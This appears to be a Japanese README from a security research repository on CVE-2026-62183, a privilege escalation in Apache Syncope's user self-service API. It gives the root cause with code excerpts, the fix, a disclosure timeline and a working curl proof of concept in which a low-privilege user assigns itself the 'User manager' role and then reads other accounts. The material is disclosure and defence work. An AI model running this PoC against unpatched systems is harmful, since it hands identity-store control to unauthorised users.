Apache Syncope における不適切な権限管理 (CWE-269)。認証済みの低権限ユーザーが、ユーザーセルフサービス API を通じて任意のロール(およびグループメンバーシップ、外部リソース、新しいレルム)を自身に付与できます — 他のすべてのコードパスでは管理エンタイトルメントが必要な操作 — それによりアイデンティティストアの管理者になることができます。
このリポジトリは、この脆弱性の技術リファレンスです: 根本原因、ランタイムで確認された概念実証、再現手順。発見に至った経緯の解説は別途 (解説) にあります。
| CVE | CVE-2026-62183 |
| ベンダー / 製品 | Apache Software Foundation — Apache Syncope |
| 影響を受けるパッケージ | org.apache.syncope.core:syncope-core-workflow-java |
| クラス | CWE-269 不適切な権限管理 (メカニズム: CWE-862 認可の欠如) |
| 深刻度 | 重要 (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるバージョン | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| 修正バージョン | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x は EOL のため修正なし |
| 確認環境 | 3.0.16 (スタンドアロン配布、JDK 17)、ドメイン Master |
Apache Syncope のユーザーセルフサービス更新エンドポイント PATCH /users/self/{key} は、isAuthenticated() のみを要求します。共有ロジックレイヤーは「self」操作の認可チェックをスキップしますが、データバインダーは依然として特権リクエストフィールド (roles, memberships, resources, auxClasses, realm) を適用します。結果は単純な権限昇格です: 低権限ユーザーが特権ロールを自己割り当てし、即座にそのエンタイトルメントを獲得します。十分に強力なロールを使えば、全ユーザーの完全な管理も可能です。自己登録が有効な場合、同じ欠陥が doCreate にも適用されるため、未認証の攻撃者がすでに特権を持つアカウントを登録できます。
この脆弱性は、以下のいずれかのユーザーワークフローアダプターが設定されている場合に適用されます (ベンダーアドバイザリもこの範囲に限定しています):
本番環境では、セルフサービスは通常、ロール割り当てを公開しない Enduser UI を介して駆動されます。この脆弱性に到達するには、低権限ユーザーが Core REST API を呼び出せる必要があります。以下のランタイム PoC は、Apache が評価専用として文書化し、シードデータ (ユーザー bellini、組み込みロール User manager / User reviewer) を同梱するスタンドアロン配布を使用しています。そのシードデータは一般的なデプロイには存在しません。これらは、実際の悪用可能性に関する正直な制約であり、欠陥の正しさに関する制約ではありません。
PATCH /users/self/{key} のリクエストフロー:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. エンドポイントは「誰かがログインしているか」のみを認可します — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
エンタイトルメント (USER_UPDATE、ロール/レルムスコープ) は必要ありません。
2. 認可チェックは自己操作ではスキップされます — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. バインダーは特権フィールドを関係なく適用します — UserDataBinderImpl.update(...) は、リクエストから直接ロールの ADD/DELETE、memberships(...) (グループ)、fill(...) (リソース / レルム) を、呼び出し元の権限チェックなしで適用します。そのチェックは、ステップ 2 がスキップするロジックレイヤーにあるはずでした。管理者パス (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) は securityChecks を実行しますが、自己パスは実行しません。
昇格したロールは認証時に有効になります:
AuthDataAccessor.getUserAuthorities(user) は userDAO.findAllRoles(user) を走査し、各ロールのエンタイトルメントを結合するため、自己割り当てされたロールはユーザーの次のリクエスト/ログイン時に有効になります。同じ if (!self) スキップが doCreate にも存在し、自己登録にも欠陥が及びます。
要するに: 2つのレイヤーがそれぞれ、もう一方が権限チェックを実施していると想定していました。エンドポイントは認可をロジックレイヤーに委任し、ロジックレイヤーは self の場合にそれをスキップし、バインダーはロジックレイヤーがフィールドをゲートキープしたと信頼していました。
ロールを持たない通常の認証済みユーザーが、組み込みの特権ロール User manager (/ に対する USER_READ を付与) を自己割り当てし、任意のアカウントを読み取ります。管理者操作も特別な設定も不要です。完全なスクリプト: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
観測結果: [1] 403 → [2] 200 (ロールが ["User manager"] になる) → [3] 200。割り当ては永続化されます (管理者ビューで確認済み)。同じリクエスト形式で memberships (グループ)、resources (外部システムへのプロビジョニングをトリガー)、新しい realm も自己割り当てできます。
PoC は、認可ギャップを実証するために、意図的に正当で文書化された API 呼び出しのみを使用しています。これは最小限の証明であり、兵器化されたエクスプロイトではありません — 責任ある使用 を参照してください。
Docker 不要・Maven 不要のランタイムセットアップ (スタンドアロン Tomcat + Temurin JDK 17) と準備完了チェックについては BUILD.md を参照し、その後:
B=http://localhost:9080/syncope/rest ./poc.sh
認証済みユーザーは、最も低い権限のセルフサービスアカウントであっても、定義された任意のロールのエンタイトルメントを自身に付与できます。広範な USER_* / 管理者エンタイトルメントを持つロールを使用すると、これはアイデンティティストアの乗っ取りになります: 全ユーザーの読み取り/変更/削除に加え、resources / memberships を介した接続済み外部システムへのアカウントプロビジョニング。自己登録が有効な場合、未認証の攻撃者は特権状態で直接登録できます (PR:N、CVSS 9.8)。実際に獲得できるエンタイトルメントは、対象デプロイメントで定義されているロールに依存します。
4.0.7 / 4.1.2 で SYNCOPE-1983 ("属性以外の自己変更に管理者の承認を要求") として修正されました。UserCR / UserUR に requiresApproval() 述語が追加され (リクエストがロール、メンバーシップ、グループ、リソース、リレーションシップ、リンクされたアカウント、ユーザー/グループマネージャーに触れる場合に true)、ワークフローアダプターはそのような自己リクエストを直接適用する代わりに管理者承認を通すようになりました。3.0.x はエンドオブライフのため修正は提供されません。影響を受ける 3.0.x ユーザーはサポート対象ブランチにアップグレードする必要があります。
| 日付 (2026) | イベント |
|---|---|
| Jun 28 | 根本原因分析とランタイム PoC を添えて [email protected] に非公開で報告 |
| Jul 13 | Apache Syncope PMC が確認。CVE-2026-62183 が予約され、深刻度は 重要 と評価 |
| Jul 20 | 修正版 (4.0.7 / 4.1.2) をリリース。ベンダーアドバイザリと CVE レコードを公開 |
CVE レコード によると、発見者としてクレジットされているのは Nic Jones (@NicPWNs) と elin kai です。このリポジトリは、Nic Jones が提供したソースレベル分析とランタイム確認済み PoC を文書化しています。
研究の経緯 — 方法論、それを表面化させた Apache プロジェクトの監査、ランタイムでの確認方法 — は私のブログにあります: セルフサービスから管理者へ: Apache Syncope における権限昇格.
この資料は、協調的な開示と修正版のリリース後に、防御および教育目的で公開されています。PoC は認可の欠陥を実証するために正当な API 呼び出しのみを使用しており、大規模な悪用ツールではありません。テストの許可を得ていないシステムに対して使用しないでください。Apache Syncope を実行している場合は、4.0.7 / 4.1.2 (または 3.0.x 以外) にアップグレードしてください。